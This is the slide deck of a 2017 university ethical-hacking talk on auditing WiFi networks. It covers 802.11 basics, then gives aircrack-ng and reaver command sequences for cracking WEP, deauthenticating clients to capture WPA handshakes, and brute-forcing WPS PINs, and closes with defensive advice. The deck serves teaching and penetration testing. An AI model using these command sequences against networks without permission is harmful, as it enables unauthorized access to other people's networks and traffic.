Auditoria de Xarxes WiFi

Hacking Lliure

Dimecres 26 d'Abril de 2017

Facultat de Matemàtiques i Informàtica

Universitat de Barcelona

About

Hacking Lliure

- Associació de Hacking Ètic i Seguretat Informàtica
- Gestada a les acaballes del 2016 per estudiants de la facultat
- Constituïda formalment a principis del 2017
  - UB
  - Catalunya
- Presentació oficial: 27/02/17

Me (Arnau Gàmez i Montolio)

- Maths + CS @ UB
- PhD research program assistant @ Facultat de Física UB
- Participant de:
  - No cON Name '15
  - RootedCON '16, '17
  - r2con '16
  - PyConES '16
- Cofundador & President Hacking Lliure

Disclaimer

Hacking into anyone's WiFi without permission is considered an illegal act. We are performing this tutorial for the sake of penetration testing, hacking to become more secure, and are using our own test networks and routers

Content

- Preliminary
- Basic concepts
- Attacking WEP
- Attacking WPA(2)
- Attacking WPS
- More attack vectors
- Security Measures

Preliminary

Objective(s)

Introduce offensive security methodologies oriented to Wireless Networks.

Focused on a domestic sphere or little infrastructures

Main tools used

Software

- OS: WifiSlax64-1.0-final
- Suite aircrack-ng
- reaver

Hardware

- Antenna: Alfa AWUS036H

Basic Concepts

IEEE 802.11

Set of standards developed by the IEEE working group 11 (Wireless LAN)

IEEE 802.11 main standards

- 802.11 – The original WLAN standard
- 802.11a – Up to 54 Mbit/s on 5 GHz
- 802.11b – 5.5 Mbit/s and 11 Mbit/s on 2.4 GHz
- 802.11g – Up to 54 Mbit/s on 2.4 GHz. Backward compatible with 802.11b
- 802.11i – Provides enhanced security
- 802.11n – Provides higher throughput with Multiple Input/Multiple Output (MIMO)

IEEE 802.11g/b wireless nodes communicate with each other using radio frequency signals in the ISM (Industrial, Scientific, and Medical) band between 2.4 GHz and 2.5 GHz

Channel	Center Frequency	Frequency Spread
1	2412 MHz	2399.5 MHz – 2424.5 MHz
2	2417 MHz	2404.5 MHz – 2429.5 MHz
3	2422 MHz	2409.5 MHz – 2434.5 MHz
4	2427 MHz	2414.5 MHz – 2439.5 MHz
5	2432 MHz	2419.5 MHz – 2444.5 MHz
6	2437 MHz	2424.5 MHz – 2449.5 MHz
7	2442 MHz	2429.5 MHz – 2454.5 MHz
8	2447 MHz	2434.5 MHz – 2459.5 MHz
9	2452 MHz	2439.5 MHz – 2464.5 MHz
10	2457 MHz	2444.5 MHz – 2469.5 MHz
11	2462 MHz	2449.5 MHz – 2474.5 MHz
12	2467 MHz	2454.5 MHz – 2479.5 MHz
13	2472 MHz	2459.5 MHz – 2484.5 MHz

IEEE 802.11 sounds weird

Just call it WiFi

Note: It is not exactly the same, but it is the same "almost everywhere"

- **WLAN** (Wireless Local Area Network)
- **MAC** (Media Access Control) address: unique identifier assigned to network interfaces for communications at the data link layer of a network segment
- **BSSID** (Basic Service Set Identification): MAC address of the access point
- **ESSID** (Extended Service Set Identification): Wireless network name
- **CHANNEL**: Determines the frequency where Wireless Network operates

Wireless Operating Modes

- **Infrastructure**: the Access Point (AP) sets the SSID
- **Ad-hoc**: the Station (STA) that is creating the network sets the SSID

We will focus on Infrastucture Operating Mode

Monitor Mode

Monitor mode is not really a wireless mode but it is especially important in attacking wireless networks.

In a nutshell, Monitor mode allows a wireless card to “monitor” the packets that are received without any filtering.

When using some wireless drivers, this mode allows for the sending of raw 802.11 frames

Suite aircrack-ng

- **airmon-ng**: This script can be used to enable monitor mode on wireless interfaces. It may also be used to go back from monitor mode to managed mode.
- **airodump-ng**: Used for packet capturing of raw 802.11 frames
- **aireplay-ng**: Used to inject frames.
- **aircrack-ng**: It is an 802.11 WEP and WPA/WPA2-PSK key cracking program

Attacking WEP

(Wired Equivalent Privacy)

What?
Why?

Concepts

- **IV** (Initialization Vector): Fixed-size input to a cryptographic primitive that is typically required to be random or pseudorandom
- **ARP** (Address Resolution Protocol): A TCP/IP protocol used to convert an IP address into a physical address, such as an Ethernet address. A host wishing to obtain a physical address broadcasts an ARP request onto the TCP/IP network. The host on the network that has the address in the request then replies with its physical hardware address

Attack workflow

1. Start the wireless interface in monitor mode
2. Use airodump-ng to locate our target AP
3. Test the injection capability of the wireless device to the AP
4. Start airodump-ng on AP channel with a bssid filter to collect the new unique IVs
5. Use aireplay-ng to do a fake authentication with the access point
6. Start aireplay-ng in ARP request replay mode to inject packets
7. Run aircrack-ng to crack key using the IVs collected

Demo

1. *airmon-ng start wlan0*
2. *airodump-ng mon0 --encrypt WEP*
3. *aireplay-ng mon0 -9 -e [ESSID] -a [BSSID]*
4. *airodump-ng mon0 -c [CHANNEL] --bssid [BSSID] -w WEP_TEST_CAP*
5. *aireplay-ng mon0 -1 0 -e [ESSID] -a [BSSID] -h [MAC]*
6. *aireplay-ng mon0 -3 -b [BSSID] -h [MAC]*
7. *aircrack-ng WEP_TEST_CAP-01.cap*

*We assume the wireless adapter is wlan0 and it is activated as mon0 in monitor mode

Shortcuts

- Limited number of possible passwords
  - Most WLAN_XX and JAZZTEL_XX

Attacking WPA(2)

(Wi-Fi Protected Access)

What?
Why?

Concepts

- Bruteforce
- (4-way) HandShake
- Wordlist

Attack workflow

1. Start the wireless interface in monitor mode
2. Use airodump-ng to locate our target AP
3. Start airodump-ng on AP channel with filter for bssid to collect authentication handshake
4. Use aireplay-ng to deauthenticate the wireless client
5. Run aircrack-ng to crack the pre-shared key using the authentication handshake

Demo

1. *airmon-ng start wlan0*
2. *airodump-ng mon0 --encrypt WPA*
3. *airodump-ng mon0 -c [CHANNEL] --bssid [BSSID] -w WEP_TEST_CAP*
4. *aireplay-ng mon0 -0 [N_DEAUTH_PACKETS] -a [BSSID] -c [CLIENT_MAC]*
5. *aircrack-ng WPA_TEST_CAP-01.cap -w [WORDLIST]*

*We assume the wireless adapter is wlan0 and it is activated as mon0 in monitor mode

Shortcuts

Available in all cases

- Use GPU for bruteforcing
- Use Rainbow Tables (precomputed tables for reversing cryptographic hash functions)

Only available in some cases

- Directly computable password
  - Examples: some of the first WLAN_XXXX and JAZZTEL_XXXX
- Limited number of possible passwords (by range or by charset)
  - Examples: some Orange-XXXX

Attacking WPS

(Wi-Fi Protected Setup)

What?
Why?

Attack workflow

1. Start the wireless interface in monitor mode
2. Use wash to locate our target AP (it will only appear if WPS is enabled)
3. Use reaver to crack WPS pin and recover PSK

Demo

1. *airmon-ng start wlan0*
2. *wash -i mon0 -C*
3. *reaver -i mon0 --bssid [BSSID] -c [CHANNEL] -vv*

*We assume the wireless adapter is wlan0 and it is activated as mon0 in monitor mode

Shortcuts

- *Generic/Computable PINs*
- *Pixie Dust Attack (Offline PIN cracking)*

More attack vectors

- Social Engineering
- Evil Twin
- MITM

Security Measures

- Change default credentials (router & AP)
- Use WPA2-PSK (AES) encryption protocol
- Use strong passwords
- Disable WPS

Almost useless methods

- *MAC filtering*
- *(E)SSID hiding*

*"You can't download a **patch** for human stupidity"*

- Kevin Mitnick

Contact

- Web → hackinglliure.org
- Mail → info@hackinglliure.org
- Github → HackingLliure
- Twitter → @HackingLliure

Doubts
Questions
Comments
(?)